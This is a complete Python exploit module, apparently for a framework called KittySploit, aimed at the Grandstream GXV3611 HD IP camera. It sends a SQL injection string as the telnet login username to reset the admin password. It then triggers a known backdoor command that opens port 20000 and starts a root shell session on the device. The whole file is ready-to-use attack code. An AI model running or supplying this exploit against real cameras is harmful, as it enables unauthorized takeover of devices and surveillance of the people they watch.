Grandstream GXV3611 HD - Telnet SQL Injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Grandstream GXV3611 HD telnet SQLi — opens framework shell session."""

import time

from kittysploit import *
from lib.protocols.telnet import Telnet, open_framework_shell
from lib.exploit.handler import Handler


class Module(Exploit, Handler):
    __info__ = {
        "name": "Grandstream GXV3611 HD - Telnet SQL Injection",
        "description": (
            "SQL injection in the Grandstream GXV3611 HD telnet login resets the admin "
            "password to 'a', triggers the !#/ port lol backdoor on TCP/20000, then "
            "opens a framework shell session."
        ),
        "author": ["pizza1337", "Joshua Abraham", "KittySploit Team"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "https://www.exploit-db.com/exploits/40441/",
        ],
        "tags": ["grandstream", "camera", "sqli", "backdoor", "telnet", "iot"],
    }

    port = OptPort(23, "Telnet port", required=True)
    backdoor_port = OptPort(20000, "Backdoor telnet port", required=False)

    def check(self):
        host = str(self.target)
        try:
            client = Telnet(host, int(self.port or 23), timeout=int(self.timeout or 10))
            banner = client.read_until(b"login:", timeout=5).decode(errors="replace")
            client.close()
            if "Grandstream" in banner:
                return {"vulnerable": True, "reason": "Grandstream telnet banner", "confidence": "high"}
        except Exception as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        return {"vulnerable": False, "reason": "Not a Grandstream device", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False

        host = str(self.target)
        tel_port = int(self.port or 23)
        back_port = int(self.backdoor_port or 20000)
        timeout = int(self.timeout or 10)
        sqli_user = "';update user set password='a';--"

        client = Telnet(host, tel_port, timeout=timeout)
        try:
            client.read_until(b"login:", timeout=5)
            client.write(f"{sqli_user}\n".encode())
            client.read_until(b"Password:", timeout=5)
            client.write(b"a\n")
            client.read_until(b"> ", timeout=5)
            client.write(b"!#/ port lol\r\n")
            client.read_until(b"> ", timeout=5)
            client.write(b"quit\r\n")
        except Exception as exc:
            print_error(f"SQLi/backdoor trigger failed: {exc}")
            return False
        finally:
            client.close()

        time.sleep(1)
        print_success(f"Backdoor open — opening shell session on {host}:{back_port}")
        return open_framework_shell(
            self,
            host,
            back_port,
            timeout=timeout,
            exploit="camera_gxv3611hd_sqli",
            username="root",
        )